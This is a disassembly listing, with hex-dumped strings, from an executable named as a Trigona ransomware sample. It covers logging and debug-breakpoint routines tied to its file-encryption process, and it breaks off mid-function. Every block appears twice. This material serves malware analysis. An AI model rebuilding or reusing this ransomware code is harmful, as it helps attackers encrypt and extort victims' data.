File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
00438b00
00438b00fn_438b00:
00438b00push rbx
00438b01sub rsp, 32
00438b05mov ebx, ecx
00438b07mov cx, 13
00438b0bcall fn_438a70
00438b10test al, al
00438b12je 0x438b63
00438b14jmp 0x438b27
00438b16
00438b16loc_438b16:
00438b16mov rcx, [rip+0x2b593]
00438b1dcall fn_4078c0
00438b22call fn_405a40
00438b27
00438b27loc_438b27:
00438b27mov cx, 13
00438b2bcall fn_438a70
00438b30test al, al
00438b32jne 0x438b16
00438b34mov rax, [rip+0x2b4e5]
00438b3bmov [rax+2], 1
00438b3ftest bl, bl
00438b41je 0x438b63
00438b43mov rcx, [rip+0x2b406]
00438b4alea rdx, [rip+39]
00438b51call fn_4080c0
00438b56mov rcx, rax
00438b59call fn_408220
00438b5ecall fn_405a40
00438b63
00438b63loc_438b63:
00438b63add rsp, 32
00438b67pop rbx
00438b68ret
00438b00
00438b00fn_438b00:
00438b00push rbx
00438b01sub rsp, 32
00438b05mov ebx, ecx
00438b07mov cx, 13
00438b0bcall fn_438a70
00438b10test al, al
00438b12je 0x438b63
00438b14jmp 0x438b27
00438b16
00438b16loc_438b16:
00438b16mov rcx, [rip+0x2b593]
00438b1dcall fn_4078c0
00438b22call fn_405a40
00438b27
00438b27loc_438b27:
00438b27mov cx, 13
00438b2bcall fn_438a70
00438b30test al, al
00438b32jne 0x438b16
00438b34mov rax, [rip+0x2b4e5]
00438b3bmov [rax+2], 1
00438b3ftest bl, bl
00438b41je 0x438b63
00438b43mov rcx, [rip+0x2b406]
00438b4alea rdx, [rip+39]
00438b51call fn_4080c0
00438b56mov rcx, rax
00438b59call fn_408220
00438b5ecall fn_405a40
00438b63
00438b63loc_438b63:
00438b63add rsp, 32
00438b67pop rbx
00438b68ret
00438b00
00438b69
00438b69 00 00 00 b0 04 02 00 .......
00438b70 ff ff ff ff 62 00 00 00 43 00 61 00 6e 00 27 00 ....b...C.a.n.'.
00438b80 74 00 20 00 73 00 65 00 74 00 20 00 62 00 72 00 t. .s.e.t. .b.r.
00438b90 65 00 61 00 6b 00 20 00 70 00 6f 00 69 00 6e 00 e.a.k. .p.o.i.n.
00438ba0 74 00 20 00 6f 00 6e 00 20 00 66 00 69 00 6c 00 t. .o.n. .f.i.l.
00438bb0 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
00438bc0 74 00 69 00 6f 00 6e 00 20 00 74 00 69 00 6d 00 t.i.o.n. .t.i.m.
00438bd0 65 00 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 e... .P.l.e.a.s.
00438be0 65 00 20 00 77 00 61 00 69 00 74 00 20 00 66 00 e. .w.a.i.t. .f.
00438bf0 6f 00 72 00 20 00 74 00 68 00 65 00 20 00 65 00 o.r. .t.h.e. .e.
00438c00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00438c10 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 n. .p.r.o.c.e.s.
00438c20 73 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6d 00 s. .t.o. .c.o.m.
00438c30 70 00 6c 00 65 00 74 00 65 00 2e 00 00 00 cc cc p.l.e.t.e.......
00438b69 00 00 00 b0 04 02 00 .......
00438b70 ff ff ff ff 62 00 00 00 43 00 61 00 6e 00 27 00 ....b...C.a.n.'.
00438b80 74 00 20 00 73 00 65 00 74 00 20 00 62 00 72 00 t. .s.e.t. .b.r.
00438b90 65 00 61 00 6b 00 20 00 70 00 6f 00 69 00 6e 00 e.a.k. .p.o.i.n.
00438ba0 74 00 20 00 6f 00 6e 00 20 00 66 00 69 00 6c 00 t. .o.n. .f.i.l.
00438bb0 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
00438bc0 74 00 69 00 6f 00 6e 00 20 00 74 00 69 00 6d 00 t.i.o.n. .t.i.m.
00438bd0 65 00 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 e... .P.l.e.a.s.
00438be0 65 00 20 00 77 00 61 00 69 00 74 00 20 00 66 00 e. .w.a.i.t. .f.
00438bf0 6f 00 72 00 20 00 74 00 68 00 65 00 20 00 65 00 o.r. .t.h.e. .e.
00438c00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00438c10 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 n. .p.r.o.c.e.s.
00438c20 73 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6d 00 s. .t.o. .c.o.m.
00438c30 70 00 6c 00 65 00 74 00 65 00 2e 00 00 00 cc cc p.l.e.t.e.......
00438c40
00438c40fn_438c40:
00438c40push rbp
00438c41sub rsp, 64
00438c45mov rbp, rsp
00438c48mov [rbp+32], 0
00438c50mov [rbp+40], rbp
00438c54nop
00438c55mov [rbp+63], 1
00438c59nop
00438c5alea rcx, [rip+0x377cf]
00438c61mov rdx, [rip+0x37ac0]
00438c68xor r8, r8
00438c6bcall fn_4067d0
00438c70call fn_405a40
00438c75lea rcx, [rip+0x377b4]
00438c7ccall fn_406360
00438c81call fn_405a40
00438c86lea rcx, [rip+0x377a3]
00438c8dcall fn_406380
00438c92call fn_405a40
00438c97lea rcx, [rbp+32]
00438c9bmov rdx, [rip+0x37a86]
00438ca2call fn_40d850
00438ca7mov rcx, [rbp+32]
00438cabcall fn_42fe80
00438cb0test al, al
00438cb2jne 0x438d31
00438cb4lea rcx, [rip+0x37775]
00438cbbcall fn_406940
00438cc0call fn_405a40
00438cc5mov [rbp+63], 0
00438cc9lea rcx, [rip+180]
00438cd0xor edx, edx
00438cd2call fn_439060
00438cd7lea rcx, [rip+286]
00438cdexor edx, edx
00438ce0call fn_439060
00438ce5mov rcx, [rip+0x2b3c4]
00438ceccall fn_4078c0
00438cf1call fn_405a40
00438cf6jmp 0x438d31
00438cf8
00438cf8 90 90 c6 45 3f 00 48 8d ...E?.H.
00438d00 0d 7f 00 00 00 33 d2 e8 54 03 00 00 48 8d 0d e9 .....3..T...H...
00438d10 00 00 00 33 d2 e8 46 03 00 00 48 8b 0d 8f b3 02 ...3..F...H.....
00438d20 00 e8 9a eb fc ff e8 15 cd fc ff e8 f0 23 fd ff .............#..
00438d30 90 .
00438d31
00438d31loc_438d31:
00438d31nop
00438d32lea rcx, [rbp+32]
00438d36call fn_40bd90
00438d3bmovzx rax, [rbp+63]
00438d40lea rsp, [rbp+64]
00438d44pop rbp
00438d45ret
00438c40
00438c40fn_438c40:
00438c40push rbp
00438c41sub rsp, 64
00438c45mov rbp, rsp
00438c48mov [rbp+32], 0
00438c50mov [rbp+40], rbp
00438c54nop
00438c55mov [rbp+63], 1
00438c59nop
00438c5alea rcx, [rip+0x377cf]
00438c61mov rdx, [rip+0x37ac0]
00438c68xor r8, r8
00438c6bcall fn_4067d0
00438c70call fn_405a40
00438c75lea rcx, [rip+0x377b4]
00438c7ccall fn_406360
00438c81call fn_405a40
00438c86lea rcx, [rip+0x377a3]
00438c8dcall fn_406380
00438c92call fn_405a40
00438c97lea rcx, [rbp+32]
00438c9bmov rdx, [rip+0x37a86]
00438ca2call fn_40d850
00438ca7mov rcx, [rbp+32]
00438cabcall fn_42fe80
00438cb0test al, al
00438cb2jne 0x438d31
00438cb4lea rcx, [rip+0x37775]
00438cbbcall fn_406940
00438cc0call fn_405a40
00438cc5mov [rbp+63], 0
00438cc9lea rcx, [rip+180]
00438cd0xor edx, edx
00438cd2call fn_439060
00438cd7lea rcx, [rip+286]
00438cdexor edx, edx
00438ce0call fn_439060
00438ce5mov rcx, [rip+0x2b3c4]
00438ceccall fn_4078c0
00438cf1call fn_405a40
00438cf6jmp 0x438d31
00438cf8
00438cf8 90 90 c6 45 3f 00 48 8d ...E?.H.
00438d00 0d 7f 00 00 00 33 d2 e8 54 03 00 00 48 8d 0d e9 .....3..T...H...
00438d10 00 00 00 33 d2 e8 46 03 00 00 48 8b 0d 8f b3 02 ...3..F...H.....
00438d20 00 e8 9a eb fc ff e8 15 cd fc ff e8 f0 23 fd ff .............#..
00438d30 90 .
00438d31
00438d31loc_438d31:
00438d31nop
00438d32lea rcx, [rbp+32]
00438d36call fn_40bd90
00438d3bmovzx rax, [rbp+63]
00438d40lea rsp, [rbp+64]
00438d44pop rbp
00438d45ret
00438c40
00438d46
00438d46 48 90 48 8d 04 05 00 00 00 00 H.H.......
00438d46 48 90 48 8d 04 05 00 00 00 00 H.H.......
00438d50
00438d50fn_438d50:
00438d50sub rsp, 40
00438d54call fn_40b050
00438d59add rsp, 40
00438d5dret
00438d50
00438d50fn_438d50:
00438d50sub rsp, 40
00438d54call fn_40b050
00438d59add rsp, 40
00438d5dret
00438d50
00438d5e
00438d5e 48 90 H.
00438d5e 48 90 H.
00438d60
00438d60fn_438d60:
00438d60push rbp
00438d61sub rsp, 32
00438d65mov rbp, rsp
00438d68lea rcx, [rdx+32]
00438d6ccall fn_40bd90
00438d71lea rsp, [rbp+32]
00438d75pop rbp
00438d76ret
00438d60
00438d60fn_438d60:
00438d60push rbp
00438d61sub rsp, 32
00438d65mov rbp, rsp
00438d68lea rcx, [rdx+32]
00438d6ccall fn_40bd90
00438d71lea rsp, [rbp+32]
00438d75pop rbp
00438d76ret
00438d60
00438d77
00438d77 00 b0 04 02 00 ff ff ff ff .........
00438d80 35 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 5...E.R.R.O.R.:.
00438d90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 69 00 .C.a.n.'.t. .i.
00438da0 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 n.i.t.i.a.l.i.z.
00438db0 65 00 20 00 6c 00 6f 00 67 00 20 00 66 00 69 00 e. .l.o.g. .f.i.
00438dc0 6c 00 65 00 2e 00 20 00 50 00 72 00 6f 00 63 00 l.e... .P.r.o.c.
00438dd0 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00438de0 69 00 61 00 6e 00 74 00 65 00 64 00 2e 00 00 00 i.a.n.t.e.d.....
00438df0 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00438e00 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00438e10 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00438e20 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e t.i.n.u.e......
00438d77 00 b0 04 02 00 ff ff ff ff .........
00438d80 35 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 5...E.R.R.O.R.:.
00438d90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 69 00 .C.a.n.'.t. .i.
00438da0 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 n.i.t.i.a.l.i.z.
00438db0 65 00 20 00 6c 00 6f 00 67 00 20 00 66 00 69 00 e. .l.o.g. .f.i.
00438dc0 6c 00 65 00 2e 00 20 00 50 00 72 00 6f 00 63 00 l.e... .P.r.o.c.
00438dd0 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00438de0 69 00 61 00 6e 00 74 00 65 00 64 00 2e 00 00 00 i.a.n.t.e.d.....
00438df0 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00438e00 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00438e10 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00438e20 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e t.i.n.u.e......
00438e34
00438e34 // align 0x10
00438e34 // align 0x10
00438e40
00438e40fn_438e40:
00438e40push rbp
00438e41sub rsp, 48
00438e45mov rbp, rsp
00438e48mov [rbp+40], rbp
00438e4cmov [rbp+64], rcx
00438e50mov [rbp+72], dl
00438e53mov rcx, [rbp+64]
00438e57call fn_40bec0
00438e5cnop
00438e5dxor ecx, ecx
00438e5fcall fn_438b00
00438e64mov rax, [rip+0x2b155]
00438e6bcmp [rax+308], 0
00438e72je 0x438f6b
00438e78mov rcx, [rip+0x2b0d1]
00438e7fmov rdx, [rbp+64]
00438e83call fn_4080c0
00438e88mov rcx, rax
00438e8bcall fn_406920
00438e90call fn_405a40
00438e95cmp [rip+0x37894], 0
00438e9cje 0x438f10
00438e9ecmp [rbp+72], 0
00438ea2je 0x438f10
00438ea4nop
00438ea5lea rcx, [rip+0x37584]
00438eacmov rdx, [rbp+64]
00438eb0call fn_4080c0
00438eb5mov rcx, rax
00438eb8call fn_406920
00438ebdcall fn_405a40
00438ec2jmp 0x438f10
00438ec4
00438ec4 90 90 48 8d 0d 63 75 03 00 e8 6e da ..H..cu...n.
00438ed0 fc ff e8 69 cb fc ff 48 8b 0d 72 b0 02 00 48 8d ...i...H..r...H.
00438ee0 15 cf 00 00 00 e8 d6 f1 fc ff 48 89 c1 e8 2e da ..........H.....
00438ef0 fc ff e8 49 cb fc ff 48 8b 0d b2 b1 02 00 e8 bd ...I...H........
00438f00 e9 fc ff e8 38 cb fc ff eb cd e8 11 22 fd ff 90 ....8......."...
00438f10
00438f10loc_438f10:
00438f10mov rax, [rip+0x2b109]
00438f17cmp [rax+2], 0
00438f1bje 0x438f6a
00438f1dmov rax, [rip+0x2b0fc]
00438f24mov [rax+2], 0
00438f28mov rcx, [rip+0x2b021]
00438f2fxor edx, edx
00438f31call fn_4080c0
00438f36mov rcx, rax
00438f39call fn_408220
00438f3ecall fn_405a40
00438f43mov rcx, [rip+0x2b006]
00438f4alea rdx, [rip+231]
00438f51call fn_4080c0
00438f56mov rcx, rax
00438f59call fn_408220
00438f5ecall fn_405a40
00438f63mov cl, 1
00438f65call fn_4392a0
00438f6a
00438f6aloc_438f6a:
00438f6anop
00438f6b
00438f6bloc_438f6b:
00438f6blea rcx, [rbp+64]
00438f6fcall fn_40bcf0
00438f74lea rsp, [rbp+48]
00438f78pop rbp
00438f79ret
00438e40
00438e40fn_438e40:
00438e40push rbp
00438e41sub rsp, 48
00438e45mov rbp, rsp
00438e48mov [rbp+40], rbp
00438e4cmov [rbp+64], rcx
00438e50mov [rbp+72], dl
00438e53mov rcx, [rbp+64]
00438e57call fn_40bec0
00438e5cnop
00438e5dxor ecx, ecx
00438e5fcall fn_438b00
00438e64mov rax, [rip+0x2b155]
00438e6bcmp [rax+308], 0
00438e72je 0x438f6b
00438e78mov rcx, [rip+0x2b0d1]
00438e7fmov rdx, [rbp+64]
00438e83call fn_4080c0
00438e88mov rcx, rax
00438e8bcall fn_406920
00438e90call fn_405a40
00438e95cmp [rip+0x37894], 0
00438e9cje 0x438f10
00438e9ecmp [rbp+72], 0
00438ea2je 0x438f10
00438ea4nop
00438ea5lea rcx, [rip+0x37584]
00438eacmov rdx, [rbp+64]
00438eb0call fn_4080c0
00438eb5mov rcx, rax
00438eb8call fn_406920
00438ebdcall fn_405a40
00438ec2jmp 0x438f10
00438ec4
00438ec4 90 90 48 8d 0d 63 75 03 00 e8 6e da ..H..cu...n.
00438ed0 fc ff e8 69 cb fc ff 48 8b 0d 72 b0 02 00 48 8d ...i...H..r...H.
00438ee0 15 cf 00 00 00 e8 d6 f1 fc ff 48 89 c1 e8 2e da ..........H.....
00438ef0 fc ff e8 49 cb fc ff 48 8b 0d b2 b1 02 00 e8 bd ...I...H........
00438f00 e9 fc ff e8 38 cb fc ff eb cd e8 11 22 fd ff 90 ....8......."...
00438f10
00438f10loc_438f10:
00438f10mov rax, [rip+0x2b109]
00438f17cmp [rax+2], 0
00438f1bje 0x438f6a
00438f1dmov rax, [rip+0x2b0fc]
00438f24mov [rax+2], 0
00438f28mov rcx, [rip+0x2b021]
00438f2fxor edx, edx
00438f31call fn_4080c0
00438f36mov rcx, rax
00438f39call fn_408220
00438f3ecall fn_405a40
00438f43mov rcx, [rip+0x2b006]
00438f4alea rdx, [rip+231]
00438f51call fn_4080c0
00438f56mov rcx, rax
00438f59call fn_408220
00438f5ecall fn_405a40
00438f63mov cl, 1
00438f65call fn_4392a0
00438f6a
00438f6aloc_438f6a:
00438f6anop
00438f6b
00438f6bloc_438f6b:
00438f6blea rcx, [rbp+64]
00438f6fcall fn_40bcf0
00438f74lea rsp, [rbp+48]
00438f78pop rbp
00438f79ret
00438e40
00438f7a
00438f7a 64 48 8d 44 20 00 dH.D .
00438f7a 64 48 8d 44 20 00 dH.D .
00438f80
00438f80fn_438f80:
00438f80sub rsp, 40
00438f84call fn_40b050
00438f89add rsp, 40
00438f8dret
00438f80
00438f80fn_438f80:
00438f80sub rsp, 40
00438f84call fn_40b050
00438f89add rsp, 40
00438f8dret
00438f80
00438f8e
00438f8e 48 90 H.
00438f8e 48 90 H.
00438f90
00438f90fn_438f90:
00438f90push rbp
00438f91sub rsp, 32
00438f95mov rbp, rsp
00438f98lea rcx, [rdx+64]
00438f9ccall fn_40bcf0
00438fa1lea rsp, [rbp+32]
00438fa5pop rbp
00438fa6ret
00438f90
00438f90fn_438f90:
00438f90push rbp
00438f91sub rsp, 32
00438f95mov rbp, rsp
00438f98lea rcx, [rdx+64]
00438f9ccall fn_40bcf0
00438fa1lea rsp, [rbp+32]
00438fa5pop rbp
00438fa6ret
00438f90
00438fa7
00438fa7 00 b0 04 02 00 ff ff ff ff .........
00438fb0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
00438fc0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00438fd0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
00438fe0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
00438ff0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439000 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439010 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439020 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439030 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439040 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439050 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00438fa7 00 b0 04 02 00 ff ff ff ff .........
00438fb0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
00438fc0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00438fd0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
00438fe0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
00438ff0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439000 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439010 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439020 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439030 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439040 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439050 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00439060
00439060fn_439060:
00439060push rbp
00439061sub rsp, 48
00439065mov rbp, rsp
00439068mov [rbp+40], rbp
0043906cmov [rbp+64], rcx
00439070mov [rbp+72], dl
00439073mov rcx, [rbp+64]
00439077call fn_40bec0
0043907cnop
0043907dxor ecx, ecx
0043907fcall fn_438b00
00439084mov rax, [rip+0x2af35]
0043908bcmp [rax+308], 0
00439092je 0x439170
00439098mov rcx, [rip+0x2aeb1]
0043909fmov rdx, [rbp+64]
004390a3call fn_4080c0
004390a8mov rcx, rax
004390abcall fn_408220
004390b0call fn_405a40
004390b5cmp [rip+0x37674], 0
004390bcje 0x439130
004390becmp [rbp+72], 0
004390c2je 0x439130
004390c4nop
004390c5lea rcx, [rip+0x37364]
004390ccmov rdx, [rbp+64]
004390d0call fn_4080c0
004390d5mov rcx, rax
004390d8call fn_408220
004390ddcall fn_405a40
004390e2jmp 0x439130
004390e4
004390e4 90 90 48 8d 0d 43 73 03 00 e8 4e d8 ..H..Cs...N.
004390f0 fc ff e8 49 c9 fc ff 48 8b 0d 52 ae 02 00 48 8d ...I...H..R...H.
00439100 15 af 00 00 00 e8 b6 ef fc ff 48 89 c1 e8 0e d8 ..........H.....
00439110 fc ff e8 29 c9 fc ff 48 8b 0d 92 af 02 00 e8 9d ...)...H........
00439120 e7 fc ff e8 18 c9 fc ff eb cd e8 f1 1f fd ff 90 ................
00439130
00439130loc_439130:
00439130mov rax, [rip+0x2aee9]
00439137cmp [rax+2], 0
0043913bje 0x43916f
0043913dmov rax, [rip+0x2aedc]
00439144mov [rax+2], 0
00439148mov rcx, [rip+0x2ae01]
0043914flea rdx, [rip+226]
00439156call fn_4080c0
0043915bmov rcx, rax
0043915ecall fn_408220
00439163call fn_405a40
00439168mov cl, 1
0043916acall fn_4392a0
0043916f
0043916floc_43916f:
0043916fnop
00439170
00439170loc_439170:
00439170lea rcx, [rbp+64]
00439174call fn_40bcf0
00439179lea rsp, [rbp+48]
0043917dpop rbp
0043917eret
00439060
00439060fn_439060:
00439060push rbp
00439061sub rsp, 48
00439065mov rbp, rsp
00439068mov [rbp+40], rbp
0043906cmov [rbp+64], rcx
00439070mov [rbp+72], dl
00439073mov rcx, [rbp+64]
00439077call fn_40bec0
0043907cnop
0043907dxor ecx, ecx
0043907fcall fn_438b00
00439084mov rax, [rip+0x2af35]
0043908bcmp [rax+308], 0
00439092je 0x439170
00439098mov rcx, [rip+0x2aeb1]
0043909fmov rdx, [rbp+64]
004390a3call fn_4080c0
004390a8mov rcx, rax
004390abcall fn_408220
004390b0call fn_405a40
004390b5cmp [rip+0x37674], 0
004390bcje 0x439130
004390becmp [rbp+72], 0
004390c2je 0x439130
004390c4nop
004390c5lea rcx, [rip+0x37364]
004390ccmov rdx, [rbp+64]
004390d0call fn_4080c0
004390d5mov rcx, rax
004390d8call fn_408220
004390ddcall fn_405a40
004390e2jmp 0x439130
004390e4
004390e4 90 90 48 8d 0d 43 73 03 00 e8 4e d8 ..H..Cs...N.
004390f0 fc ff e8 49 c9 fc ff 48 8b 0d 52 ae 02 00 48 8d ...I...H..R...H.
00439100 15 af 00 00 00 e8 b6 ef fc ff 48 89 c1 e8 0e d8 ..........H.....
00439110 fc ff e8 29 c9 fc ff 48 8b 0d 92 af 02 00 e8 9d ...)...H........
00439120 e7 fc ff e8 18 c9 fc ff eb cd e8 f1 1f fd ff 90 ................
00439130
00439130loc_439130:
00439130mov rax, [rip+0x2aee9]
00439137cmp [rax+2], 0
0043913bje 0x43916f
0043913dmov rax, [rip+0x2aedc]
00439144mov [rax+2], 0
00439148mov rcx, [rip+0x2ae01]
0043914flea rdx, [rip+226]
00439156call fn_4080c0
0043915bmov rcx, rax
0043915ecall fn_408220
00439163call fn_405a40
00439168mov cl, 1
0043916acall fn_4392a0
0043916f
0043916floc_43916f:
0043916fnop
00439170
00439170loc_439170:
00439170lea rcx, [rbp+64]
00439174call fn_40bcf0
00439179lea rsp, [rbp+48]
0043917dpop rbp
0043917eret
00439060
0043917f
0043917f // align 0x10
0043917f // align 0x10
00439180
00439180fn_439180:
00439180sub rsp, 40
00439184call fn_40b050
00439189add rsp, 40
0043918dret
00439180
00439180fn_439180:
00439180sub rsp, 40
00439184call fn_40b050
00439189add rsp, 40
0043918dret
00439180
0043918e
0043918e 48 90 H.
0043918e 48 90 H.
00439190
00439190fn_439190:
00439190push rbp
00439191sub rsp, 32
00439195mov rbp, rsp
00439198lea rcx, [rdx+64]
0043919ccall fn_40bcf0
004391a1lea rsp, [rbp+32]
004391a5pop rbp
004391a6ret
00439190
00439190fn_439190:
00439190push rbp
00439191sub rsp, 32
00439195mov rbp, rsp
00439198lea rcx, [rdx+64]
0043919ccall fn_40bcf0
004391a1lea rsp, [rbp+32]
004391a5pop rbp
004391a6ret
00439190
004391a7
004391a7 00 b0 04 02 00 ff ff ff ff .........
004391b0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
004391c0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
004391d0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
004391e0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
004391f0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439200 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439210 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439220 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439230 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439240 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439250 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
004391a7 00 b0 04 02 00 ff ff ff ff .........
004391b0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
004391c0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
004391d0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
004391e0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
004391f0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439200 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439210 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439220 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439230 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439240 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439250 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00439260
00439260fn_439260:
00439260sub rsp, 40
00439264mov rax, [rip+0x2ad55]
0043926bcmp [rax+308], 0
00439272je 0x43928e
00439274cmp [rip+0x374b5], 0
0043927bje 0x43928e
0043927dlea rcx, [rip+0x371ac]
00439284call fn_406940
00439289call fn_405a40
0043928e
0043928eloc_43928e:
0043928eadd rsp, 40
00439292ret
00439260
00439260fn_439260:
00439260sub rsp, 40
00439264mov rax, [rip+0x2ad55]
0043926bcmp [rax+308], 0
00439272je 0x43928e
00439274cmp [rip+0x374b5], 0
0043927bje 0x43928e
0043927dlea rcx, [rip+0x371ac]
00439284call fn_406940
00439289call fn_405a40
0043928e
0043928eloc_43928e:
0043928eadd rsp, 40
00439292ret
00439260
00439293
00439293 // align 0x10
00439293 // align 0x10
004392a0
004392a0fn_4392a0:
004392a0push rbp
004392a1sub rsp, 64
004392a5mov rbp, rsp
004392a8mov [rbp+47], cl
004392abmov [rbp+56], 0
004392b3mov [rbp+48], 0
004392bbnop
004392bcmovzx rax, [rbp+47]
004392c1test al, al
004392c3jne 0x4392d5
004392c5mov rax, [rip+0x2ad54]
004392cccmp [rax], 0
004392cfjne 0x43960a
004392d5
004392d5loc_4392d5:
004392d5mov rcx, [rip+0x2ac74]
004392dclea rdx, [rip+869]
004392e3call fn_4080c0
004392e8mov rcx, rax
004392ebcall fn_408220
004392f0call fn_405a40
004392f5mov rcx, [rip+0x2adb4]
004392fclea rdx, [rbp+56]
00439300call fn_407750
00439305mov rcx, [rip+0x2ada4]
0043930ccall fn_4078c0
00439311call fn_405a40
00439316mov rcx, [rbp+56]
0043931alea rdx, [rip+915]
00439321call fn_40dc90
00439326test eax, eax
00439328jne 0x43940d
0043932ecmp [rip+0x373fb], 0
00439335jne 0x439403
0043933bmov rcx, [rip+0x2ac0e]
00439342xor edx, edx
00439344call fn_4080c0
00439349mov rcx, rax
0043934ccall fn_408220
00439351call fn_405a40
00439356mov rcx, [rip+0x2abf3]
0043935dlea rdx, [rip+876]
00439364call fn_4080c0
00439369mov rcx, rax
0043936ccall fn_408220
00439371call fn_405a40
00439376mov rcx, [rip+0x2abd3]
0043937dlea rdx, [rip+940]
00439384call fn_4080c0
00439389mov rcx, rax
0043938ccall fn_408220
00439391call fn_405a40
00439396mov rcx, [rip+0x2abb3]
0043939dlea rdx, [rip+1108]
004393a4call fn_4080c0
004393a9mov rcx, rax
004393accall fn_408220
004393b1call fn_405a40
004393b6mov rcx, [rip+0x2acf3]
004393bdlea rdx, [rbp+48]
004393c1call fn_407750
004393c6mov rcx, [rip+0x2ace3]
004393cdcall fn_4078c0
004393d2call fn_405a40
004393d7mov rcx, [rbp+48]
004393dblea rdx, [rip+1146]
